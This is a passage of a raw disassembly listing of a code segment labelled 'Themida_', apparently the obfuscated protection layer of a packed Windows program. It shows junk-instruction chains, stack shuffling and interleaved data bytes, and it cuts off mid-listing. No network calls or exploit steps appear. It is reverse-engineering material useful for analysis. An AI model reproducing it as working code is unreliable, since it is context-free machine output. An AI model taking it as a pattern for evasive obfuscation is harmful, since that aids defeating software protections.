; ---------------------------------------------------------------------------


loc_51B317:				; CODE XREF: Themida_:005158D3j
		mov	ecx, 766E4CDEh
		mov	ebp, 8991B326h
		jmp	loc_514FF0
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0D7C281CAh, 8B0A3369h, 0C483240Ch, 57B85004h, 57602C33h
		dd 18F06855h, 0E95D039Dh, 0FFFFEA9Ch, 6733CB81h, 0F3810EEFh
		dd 0C4C6D450h, 6BE5EE81h, 0DE294835h, 6BE5C681h, 5F5B4835h
		dd 5AEBD55h, 0E58165C2h, 12B66844h, 0C5814545h,	62FC54CEh
		dd 0FF2C84E9h, 0E08950FFh, 17FDB951h, 0F1815B7Bh, 2EE85B4Dh
		dd 0B354C181h, 0C8018A6Ch, 0E9240C8Bh, 0FFFF535Dh
; ---------------------------------------------------------------------------


loc_51B39C:				; CODE XREF: Themida_:0051BF1Dj
		mov	ecx, 77FF7B9Bh
		sub	edx, ecx
		pop	ecx
		add	edi, 3AD30C1Eh
		add	edi, edx
		push	esi
		mov	esi, 37C71F75h
		jmp	loc_519C86
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0B2C0B753h,	4554E9B4h, 0EB81FFFFh
		dd 2, 31241C33h, 1C33241Ch, 89665C24h, 0B252240Ch, 0BAB050F6h
		dd 0C230E104h, 0FF5DFAE9h, 7AE940FFh, 52FFFF59h, 42474FFh
		dd 24048F5Ah, 0FF5BBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B401:				; CODE XREF: Themida_:0051B216j
		add	esp, 4
		jmp	loc_512D7A
; ---------------------------------------------------------------------------


loc_51B409:				; CODE XREF: Themida_:005123CBj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5180C8
; ---------------------------------------------------------------------------
		dd 8246C29h, 1DBD555Dh,	8165DF09h, 0D508246Ch, 13BDE26h
		dd 8108246Ch, 0D5082444h, 5D3BDE26h, 4247429h, 66685751h
		dd 5F1E956Ch, 0FFA9C1E9h, 0EB8158FFh, 704D0654h, 0FFD66BE9h
		dd 0E5C14DFFh, 2E5C103h, 0C624ED81h, 6E9BF18h, 5FFFFF28h
		dd 0FFAAE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B46E:				; CODE XREF: Themida_:0051A067j
		add	edx, 7617799Bh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50DE65
; ---------------------------------------------------------------------------
		db 83h
		dd 896602ECh, 5CB3241Ch, 775E950h, 0EEC10000h, 53B95108h
		dd 0C1427167h, 0F18108E9h, 667B67h, 8EE9CE29h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51B4A7:				; CODE XREF: Themida_:0051D884j
		xor	ebx, 22645944h
		jmp	loc_51288D
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 156135BEh, 0B0DC281h, 0F6E932C0h, 0BFFFFF72h, 151D4BB5h
		dd 2D5FF829h, 24BE046Ch, 0B951D801h, 24BE046Ch,	0E959C801h
		dd 3316h
; ---------------------------------------------------------------------------


loc_51B4E0:				; CODE XREF: Themida_:0050C293j
		pop	ebp
		add	ebp, 4
		push	edi
		jmp	loc_51E030
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E904C483h, 0FFFF6CD7h
; ---------------------------------------------------------------------------


loc_51B4F8:				; CODE XREF: Themida_:0051E749j
		add	eax, 4
		push	ecx
		jmp	loc_51E703
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3877h, 0EC815924h, 4, 0FF6059E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B515:				; CODE XREF: Themida_:0050BCDFj
		and	ecx, 7DED1C15h
		not	ecx
		xor	ecx, 46D32CB5h
		dec	ecx
		jmp	loc_5128A0
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 81h
		dd 3181ACBDh, 0D02959CAh, 7EA5055Ah, 1C2D6546h,	565D51Ch
		dd 19AF60D9h, 0FF4184E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51B549:				; CODE XREF: Themida_:00516FF0j
		add	edi, edx
		sub	edi, 4828553Bh
		mov	edx, [esp]
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_519C5C
; ---------------------------------------------------------------------------
		dd 815DEA89h, 9F4EAAC5h, 81D50179h, 9F4EAAEDh, 29E95A79h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51B57F:				; CODE XREF: Themida_:005187A3j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edi+eax*4+1], dl
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_50F2AD
; ---------------------------------------------------------------------------
		dw 0CD21h
		dd 0FF8CB3E9h, 20DC25FFh, 13565C4h, 8971E46Eh, 1CE958C1h
		dd 81FFFFB0h, 0E96749EEh, 37C68114h, 8113C768h,	0E60F6EC6h
		dd 81FE0163h, 0E60F6EEEh, 37EE8163h, 8113C768h,	0E96749C6h
		dd 2434FF14h, 4C4835Fh,	8029E950h, 0C481FFFFh, 4, 0E95DEA29h
		dd 0FFFFDB35h, 3839C681h, 30E9730Dh, 1FFFFCAh, 89FCE9DFh
		dd 3EB9FFFFh, 0BF1D8E68h, 5DD0B33Ch, 5FE9CF29h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B61F:				; CODE XREF: Themida_:00513E49j
		pop	ecx
		jmp	loc_51A3BE
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 0
		dd 0FE2FE380h, 5E3C0C3h, 0B652DBF6h, 2406E937h,	0F529FFFFh
		dd 8124348Bh, 4C4h, 0EC2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B64A:				; CODE XREF: Themida_:0050E6EEj
		mov	[esp], eax
		push	1CF6174Ch
		mov	eax, [esp]
		push	eax
		jmp	loc_50E548
; ---------------------------------------------------------------------------


loc_51B65B:				; CODE XREF: Themida_:0051FD22j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_519681
; ---------------------------------------------------------------------------


loc_51B69B:				; CODE XREF: Themida_:00510EE4j
		pop	esi
		pop	ecx
		push	ebx
		jmp	loc_51F75E
; ---------------------------------------------------------------------------
aIS_0		db '<$*',0
		dw 3100h
		dd 81C631F0h, 0B1432BEEh, 123E9E4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B6BA:				; CODE XREF: Themida_:00519773j
		xor	ebx, 5781549h
		jmp	loc_50D6DF
; ---------------------------------------------------------------------------
a1Hu7		db '1[h7',0
		dd 240C8900h, 0CE1CC2B9h, 59CD0157h, 5E6BB850h,	0D7E9190Bh
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B6E3:				; CODE XREF: Themida_:0051894Bj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_51B6EF:				; CODE XREF: Themida_:00518DF6j
					; Themida_:0051C572j
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 46E02D5Eh
		neg	esi
		jmp	loc_51ED1F
; ---------------------------------------------------------------------------
		dw 0DEF6h
		dd 8004EEC0h, 0F02834F6h, 66C8285Ah, 3BB753h, 0E95B66F8h
		dd 1CF9h, 4C381h, 1C870000h, 0EC835C24h, 24048904h, 3035BD55h
		dd 0E5C10B97h, 57ED8104h, 81008537h, 35BD21EDh,	0E9E889B5h
		dd 3E48h, 46E9DF01h, 81FFFF2Fh,	0FD009BC6h, 5EF10124h
		dd 8324048Bh, 505304C4h, 0F34A84B8h, 8E8C159h, 4006E0C1h
		dd 4181A02Dh, 58C389FDh, 0FF99E9E9h, 240431FFh,	5C240433h
		dd 582434FFh, 0FF8F90E9h, 243487FFh, 8324248Bh,	0C3304C1h
		dd 240C3124h, 8B240C33h, 0EC832424h, 1C896602h,	66B25224h
		dd 0D330F9B3h, 2CD02C5Ah, 0E9D800AAh, 0FFFFDC0Fh, 2A60EFBFh
		dd 17A0E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B7C6:				; CODE XREF: Themida_:005186E1j
		mov	ebp, 4B097549h
		mov	edi, 0B4F68AB6h
		add	edi, ebp
		pop	ebp
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_51A7EA
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 8Bh
		dd 0C4832434h, 3E7C104h, 7F8BBA52h, 0D5E93E95h,	29FFFF82h
		dd 0C7815DEBh, 3320052Ch, 0EF81DF29h, 3320052Ch, 4ABF575Bh
		dd 811A7D23h, 923737EFh, 13C78102h, 2961C680h, 0FA015FFAh
		dd 6C26C281h, 505F79B1h, 4B8h, 8BC20100h, 0C4832404h, 24143304h
		dd 33241431h, 248B2414h, 0DDAAE924h, 8A2DFFFFh,	0E9396B41h
		dd 0FFFF4C3Dh, 4D48C681h, 2C8B347Ah, 4C48324h, 315EF031h
		dd 2CBA52C3h, 51000000h, 19A8E951h, 0E2C1FFFFh,	0FEEA8107h
		dd 1990E59h, 78ADE9D1h,	0F581FFFFh, 86454BAh, 0D5AEED81h
		dd 17E9321Bh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B88B:				; CODE XREF: Themida_:0050FCA8j
		mov	ebp, 0F9D1E1Ch
		or	ebp, 16CD352Fh
		not	ebp
		sub	ebp, 3CBE0584h
		jmp	loc_518A22
; ---------------------------------------------------------------------------
		db 81h
		dd 2D264FE7h, 7E15E97Fh, 1C89FFFFh, 66B7B724h, 0E914B652h
		dd 0FFFF7309h, 582434FFh, 21C768h, 41EFE900h, 83660000h
		dd 566601C0h, 4D9CE9h, 83D5F700h, 0E94D01C5h, 98Fh
; ---------------------------------------------------------------------------


loc_51B8E0:				; CODE XREF: Themida_:00511F26j
		add	esi, 0FFFFFFFFh
		xor	esi, 3BAA4DAEh
		and	eax, esi
		jmp	loc_514F42
; ---------------------------------------------------------------------------
		db 81h
		dd 553A6BC3h, 914DE91Eh, 0E831FFFFh, 8B2434FFh,	0C483242Ch
		dd 59545104h, 4C181h, 92680000h, 89000062h, 4682434h, 0E9000000h
		dd 0FFFF0974h, 89243489h, 1AC68E6h, 44E90000h, 89000047h
		dd 4C681E6h, 0E9000000h, 0FFFF791Ah, 1715E4BAh,	52BFE961h
		dd 0C870000h, 0A0D1E924h, 0EC81FFFFh, 4, 10F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_51B95D:				; CODE XREF: Themida_:0050C527j
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_50BB08
; ---------------------------------------------------------------------------


loc_51B972:				; CODE XREF: Themida_:0051436Cj
		push	edx
		push	ebp
		push	45C86D2Eh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_512A96
; ---------------------------------------------------------------------------
		db 5Ah,	0, 0D8h
		dd 8904EC83h, 96B1240Ch, 0E980D9F6h, 89D7E967h,	0C483FFFFh
		dd 13BB5304h, 0F7344C0Eh, 25EB81D3h, 8103C143h,	7996A3C3h
		dd 0E9DD0155h, 0FFFF28ADh, 582434FFh, 0FF8381E9h, 2C8152FFh
		dd 5C7A5224h, 243C8B7Eh, 4C481h, 0C7810000h, 7E5C7A52h
		dd 4AD3E95Ah, 1C89FFFFh, 400BB24h, 5F090000h, 0EFE91Ch
		dd 0E95B0000h, 0FFFF4F4Dh, 81242489h, 42404h, 3C8B0000h
		dd 1D49E924h, 0A30F0000h, 0E99C2404h, 0FFFEFBD5h
; ---------------------------------------------------------------------------


loc_51BA10:				; CODE XREF: Themida_:0051FBC8j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_520112
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 7Dh
		dd 62E9F028h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BA23:				; CODE XREF: Themida_:0050BC25j
		xor	ebp, edi
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	eax
		push	110Dh
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_517481
; ---------------------------------------------------------------------------


loc_51BA48:				; CODE XREF: Themida_:0050BD2Ej
		add	bl, 0C8h
		mov	edx, [esp]
		add	esp, 4
		push	390Ch
		jmp	loc_50C26E
; ---------------------------------------------------------------------------
		db 31h
		dd 81FB31DFh, 0FE1505C3h, 0FFD9896Ah, 0E95B2434h, 479Ah
		dd 240C895Ch, 0EF61C5B9h, 0BF575665h, 0A376D4F0h, 15FFE89h
		dd 0BA525EF1h, 9DB3BBFh, 815AD131h, 8E26B9C9h, 2EE9506Bh
		dd 0AD00000Ch, 8904EC83h, 30BD242Ch, 8138441Fh,	0FFFFFFC5h
		dd 7524E9FFh, 5550FFFFh, 0FF491BE9h, 0E95158FFh, 4A1Ah
		dd 0FF241489h, 0FF042474h, 2BE92434h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51BACF:				; CODE XREF: Themida_:0051D9E4j
		pop	edi
		jmp	loc_513AC0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2A5CE9h, 2434FFFFh, 5F54575Bh, 4EC8155h, 0E9000000h
		dd 495Dh, 30B95153h, 68406A3Eh,	3137h, 10F8E9h,	0E9BF5700h
		dd 0C15E9962h, 0F78105EFh, 175861D5h, 0AAE9DFF7h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BB17:				; CODE XREF: Themida_:0051061Aj
		sub	ebp, 4
		jmp	loc_50F4B0
; ---------------------------------------------------------------------------


loc_51BB22:				; CODE XREF: Themida_:0050EB87j
		xchg	ebx, ecx
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		not	edi
		xchg	edi, ebx
		xchg	ebx, ecx
		xchg	ecx, esi
		jmp	loc_50D848
; ---------------------------------------------------------------------------
		db 1
		dd 74EE81C6h, 0E967050Ch, 0FFFF9907h, 35193CBAh, 81D2F751h
		dd 532213CAh, 0FFC28146h, 42FFFFFFh, 0E6D7F281h, 0D589EEDBh
		dd 0FF6BF0E9h, 0EF8158FFh, 4, 305BE9h
		db 0
; ---------------------------------------------------------------------------


loc_51BB71:				; CODE XREF: Themida_:005141CFj
		or	ebp, 0C243D89h
		push	esi
		mov	esi, 4E343DE5h
		sub	ebp, 18BD611Bh
		sub	ebp, esi
		add	ebp, 18BD611Bh
		pop	esi
		sub	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_50F28F
; ---------------------------------------------------------------------------


loc_51BB96:				; CODE XREF: Themida_:00519019j
		pop	edi
		jmp	loc_512E51
; ---------------------------------------------------------------------------


loc_51BB9C:				; CODE XREF: Themida_:005101BCj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_51DD5E
; ---------------------------------------------------------------------------


loc_51BBAA:				; CODE XREF: Themida_:0051F605j
		mov	esi, 6BD25634h
		xor	esi, 6BD25630h
		jmp	loc_50D4CA
; ---------------------------------------------------------------------------
		dw 0E946h
		dd 0FFFF56EBh, 16026857h, 0E95F1C45h, 0C1Fh, 282DEF80h
		dd 0D944E9FDh, 4A68FFFFh, 5B362041h, 43CCB81h, 0EB8138D2h
		dd 0E7BA3066h, 0C15BDD89h, 0DDF703EDh, 0C581D5F7h, 532D1D78h
		dd 5F47BA52h, 0A2E96BACh, 88FFFF37h, 88D4F6DCh,	1469E9E3h
		dd 0C4810000h, 4, 7851BF57h, 0E7815F0Fh, 20D6230Ah, 1FFCEF81h
		dd 0FE010006h, 4EC815Fh, 89000000h, 0FBE92434h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BC37:				; CODE XREF: Themida_:0051BDD6j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_50FDEC
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aPNS		db 'PN',0
		dw 58C6h
		dd 0C001C680h, 0C6FE02EEh, 8851CEFEh, 88F088C1h, 0D0F659CEh
		dd 0FF8EE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51BC65:				; CODE XREF: Themida_:00512E24j
		sub	ebx, edx
		sub	ebx, 6EA571AAh
		pop	edx
		add	ebx, edi
		add	ebx, 619050FAh
		push	ecx
		mov	ch, dl
		jmp	loc_50E3CD
; ---------------------------------------------------------------------------
		dw 7004h
		dd 2E66E951h, 0E289FFFFh, 4C50E9h, 0F953E900h, 0E788FFFEh
		dd 88EE8852h, 0B251E9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BC9E:				; CODE XREF: Themida_:00513A4Aj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_50EB5D
; ---------------------------------------------------------------------------


loc_51BCBF:				; CODE XREF: Themida_:0050C7FEj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_51C707
; ---------------------------------------------------------------------------
		dd 1CB468h, 24248900h, 2B43E9h,	2434FF00h, 0FF78D0E9h
		dd 0EE685CFFh, 8900004Dh, 6852243Ch, 758h, 68242C89h, 5B9A6E64h
		dd 0FF6E97E9h, 8BE801FFh, 0C483242Ch, 4B95104h,	29000000h
		dd 5FCCE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BD0E:				; CODE XREF: Themida_:0051E759j
		mov	ebp, 5F794AFAh
		jmp	loc_5203F0
; ---------------------------------------------------------------------------


loc_51BD18:				; CODE XREF: Themida_:0050F71Cj
		pop	edi
		jmp	loc_5182FD
; ---------------------------------------------------------------------------


loc_51BD1E:				; CODE XREF: Themida_:00520346j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_520B64
; ---------------------------------------------------------------------------
		dw 0F089h
		dd 8124348Bh, 4C4h, 4E0C100h, 0FFE7BCE9h, 24248BFFh, 24048B66h
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 4895C24h
		dd 0C7E95424h, 68FFFFC3h, 3DE6h, 0FF25E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51BD6D:				; CODE XREF: Themida_:00511F13j
		mov	ecx, [esp]
		jmp	loc_51C292
; ---------------------------------------------------------------------------
aBfqZ		db 'fQZ',0
		dd 2C5966EAh, 1104A7h, 53112CD0h, 0F800A7B7h, 2434FF5Bh
		dd 0B268575Ah, 8900004Ah, 4832424h, 815F0424h, 4C7h, 0FFE95100h
		dd 29FFFFF1h, 24048BC7h, 3304C483h, 3C31243Ch, 243C3324h
		dd 4142E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BDC2:				; CODE XREF: Themida_:00511EE2j
		pop	edi
		sub	edi, 39626C8h
		pop	ebx
		or	edi, 4C6358BAh
		push	esi
		mov	esi, 318F2DF6h
		jmp	loc_51BC37
; ---------------------------------------------------------------------------
		db 89h
		dd 7FB62414h, 0EB8054B3h, 80F300AFh, 6CE9AFC3h,	0F700000Ch
		dd 0FFBF57D2h, 81FFFFFFh, 0BA782BC2h, 0EA43E922h, 0C481FFFFh
		dd 4, 68505652h, 4E8D2B90h, 0AAD3558h, 0C6892246h, 0DEC7BA58h
		dd 0F2019334h, 5AD7015Eh, 0C0168h, 242C8900h, 0C581E589h
		dd 4, 0FFCDBCE9h, 0BD555CFFh, 6E1361DEh, 0E95DEA31h, 0FFFEF79Dh
		dd 33241431h, 248B2414h, 0BB0F6624h, 0E99C2404h, 0FFFEF789h
		dd 348BF001h, 2BFAE924h, 7AE9FFFFh, 66FFFEF7h, 2C8BEE89h
		dd 4C48124h, 66000000h,	5E66F029h, 0FBC38166h, 0C329660Eh
		dd 50DE9h
		db 0
; ---------------------------------------------------------------------------


loc_51BE89:				; CODE XREF: Themida_:0051B2B6j
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_5149A7
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 4BF24h, 0E0E90000h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BEC7:				; CODE XREF: Themida_:0051187Fj
		pop	esp
		jmp	loc_517265
; ---------------------------------------------------------------------------
		db 68h,	0C6h, 58h
		dd 0F3E90000h, 64000051h, 6E9028Fh
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51BEDF:				; CODE XREF: Themida_:0051CAB3j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_51BEE4:				; CODE XREF: Themida_:0051FC59j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_51F238
; ---------------------------------------------------------------------------
		dd 8006ECC0h, 0F4805FECh, 21C48098h, 5058E588h,	0D60C36B0h
		dd 602C960Ch, 2556E9h
		db 0
; ---------------------------------------------------------------------------


loc_51BF19:				; CODE XREF: Themida_:0050F28Aj
		or	edx, esi
		pop	esi
		push	ecx
		jmp	loc_51B39C
; ---------------------------------------------------------------------------
		dw 0BEE9h
		dd 0B2FFFEF6h, 0E9D188F1h, 0FFFF5FE8h, 4B8h, 0C2C68100h
		dd 81078615h, 742515C6h, 81C60165h, 742515EEh, 0C2EE8165h
		dd 58078615h, 0BD555257h, 68DB1978h, 0FF6C1EE9h, 0C3B551FFh
		dd 6659E800h, 5124148Bh, 0C181E189h, 4,	8702C183h, 0F8E9240Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BF7B:				; CODE XREF: Themida_:0051872Cj
		mov	[esp], edi
		mov	edi, 1B22A34h
		xor	edi, 12872C1Ah
		sub	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5193B8
; ---------------------------------------------------------------------------
		dd 0C230E954h, 0AD68FFFFh, 0E900006Bh, 0FFFF3BE0h, 4EC81h
		dd 4890000h, 241C8724h,	1C87D3F7h, 24048B24h, 4C481h, 0E8C10000h
		dd 86E95306h, 89FFFFDBh, 0E0892404h, 0FF0229E9h, 0F5814DFFh
		dd 2CD790Dh, 3BDFF581h,	0EA2175B0h, 81242C8Bh, 4C4h, 5EAC100h
		dd 7FE9C281h, 0D501FF3Dh, 519CE95Ah, 0FB01FFFFh, 4C3815Fh
		dd 87000000h, 0E95C241Ch, 21FCh, 43E95066h, 8100003Bh
		dd 7D042444h, 5A2E226Dh, 83240C8Bh, 0C18104C4h,	4, 2C181h
		dd 0A8E90000h, 81FFFF7Ch, 4ECh,	241C8900h, 0FFD2B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C041:				; CODE XREF: Themida_:0051A25Dj
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		jmp	loc_514B64
; ---------------------------------------------------------------------------


loc_51C05B:				; CODE XREF: Themida_:005102DFj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5196CC
; ---------------------------------------------------------------------------


loc_51C066:				; CODE XREF: Themida_:0052093Ej
		pop	ebp
		sub	ecx, 6E325165h
		add	ebp, 1AF93462h
		add	ebp, ecx
		sub	ebp, 1AF93462h
		jmp	loc_518C2F
; ---------------------------------------------------------------------------
		dd 8245C01h, 0E92434FFh, 0FFFF4211h, 8B2434FFh,	0C481242Ch
		dd 4, 0FFDDD0E9h, 0BAC381FFh, 0E92B3B28h, 0FFFF30F8h
; ---------------------------------------------------------------------------


loc_51C0A8:				; CODE XREF: Themida_:00513286j
		push	ebp
		mov	ebp, 4C8F29F6h
		sub	ebp, 0E678C11Ah
		jmp	loc_50BC47
; ---------------------------------------------------------------------------
aBAqsi		db '^&!AQ=',0
		dd 0B7C38100h, 29B98024h, 42895BD8h, 0F9FFE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C0D6:				; CODE XREF: Themida_:00513F50j
		mov	[esp], ecx
		push	ebx
		jmp	loc_515ECD
; ---------------------------------------------------------------------------


loc_51C0DF:				; CODE XREF: Themida_:00517283j
		dec	edi
		jmp	loc_50F9F7
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 9D680000h, 8900005Ch, 8B542414h, 45682414h
		dd 89000062h, 89512414h, 4C181E1h, 0E9000000h, 0FFFF31B0h
		dd 4EC835Eh, 333EE9h, 6EBB5300h, 894C2D02h, 17E95BD8h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C127:				; CODE XREF: Themida_:0051E246j
		or	edx, 161658CDh
		add	edx, 2281E9Fh
		and	edx, 20D352A4h
		dec	edx
		jmp	loc_5114C8
; ---------------------------------------------------------------------------


loc_51C13F:				; CODE XREF: Themida_:0050CB09j
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 16226CEFh
		jmp	loc_5152C3
; ---------------------------------------------------------------------------


loc_51C151:				; CODE XREF: Themida_:0050B827j
		not	esi
		not	esi
		sub	esi, 268A09B6h
		xor	esi, 6DD91E62h
		jmp	loc_50E9D6
; ---------------------------------------------------------------------------
		dw 0BB1h
		dd 0E950C380h, 0FFFF452Eh, 8CF58166h, 0EE3BE964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C17A:				; CODE XREF: Themida_:0051D45Dj
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_515360
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 7FC1F381h, 1FE9211Dh, 81FFFFF3h, 48497CF3h, 7E3C12Fh
		dd 2AABCB81h, 0C3815199h, 3EC64C51h, 0DF8EB81h,	40E961AAh
		dd 66FFFF9Eh, 663CCB68h, 81241489h, 4ECh, 0EF0DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C1C6:				; CODE XREF: Themida_:0051C885j
		mov	[esp], ebp
		push	edx
		mov	edx, 337F3037h
		jmp	loc_51A05C
; ---------------------------------------------------------------------------


loc_51C1D4:				; CODE XREF: Themida_:00513C14j
		mov	[esp], edx
		push	ecx
		push	6DE6183Ch
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 66546FC9h
		xor	ecx, 9F41AAA5h
		mov	edx, ecx
		pop	ecx
		shl	edx, 3
		jmp	loc_51CCD3
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 0E99C2424h, 0FFFEF3E1h
; ---------------------------------------------------------------------------


loc_51C204:				; CODE XREF: Themida_:00512390j
		sub	esp, 4
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_51DAEB
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0BD555854h, 352707A0h, 0FF5122E9h, 0F3B3E9FFh, 0C181FFFEh
		dd 42AE2AC7h, 0FF994BE9h, 0FDED81FFh, 81704368h, 601AAAC3h
		dd 9BC38100h, 11A4430h,	9BEB81EBh, 811A4430h, 601AAAEBh
		dd 242C8B00h, 5004C483h, 0FF54B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C269:				; CODE XREF: Themida_:0051CA44j
		pop	ebp
		jmp	loc_50DCED
; ---------------------------------------------------------------------------
		db 0D1h
		dd 37E952EDh
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C277:				; CODE XREF: Themida_:0050E29Dj
		push	eax
		mov	al, 0D2h
		xor	al, 0C1h
		jmp	loc_515419
; ---------------------------------------------------------------------------
		db 0BBh, 0D3h, 20h
		dd 0CB812942h, 6A8C6E68h, 0BD22E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C292:				; CODE XREF: Themida_:0051BD70j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_519C36
; ---------------------------------------------------------------------------
		dd offset dword_57CF68
		align 2
		dw 0C89h
		dd 0B0506624h, 0BC2AE990h, 0B850FFFFh, 43C3578Dh, 3C226735h
		dd 7DB95174h, 316B906Ah, 0DBE959C8h, 1FFFF49h, 65E981D9h
		dd 5B76EB4Dh, 0FF0051E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C2E1:				; CODE XREF: Themida_:00519CACj
		mov	edi, 541194Eh
		push	eax
		mov	eax, 27B17511h
		or	eax, 32DA02DFh
		jmp	loc_512F25
; ---------------------------------------------------------------------------


loc_51C2F6:				; CODE XREF: Themida_:0050F0C8j
		pop	ebp
		mov	ebx, 25C2355h
		sub	ebx, 13BD70C5h
		jmp	loc_50B623
; ---------------------------------------------------------------------------


loc_51C307:				; CODE XREF: Themida_:0051DBCFj
		pop	esi
		jmp	loc_50D437
; ---------------------------------------------------------------------------
		db 58h,	66h, 51h
		dd 5366C5B5h, 0DD204AB3h, 0FEF811E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C31D:				; CODE XREF: Themida_:005100F9j
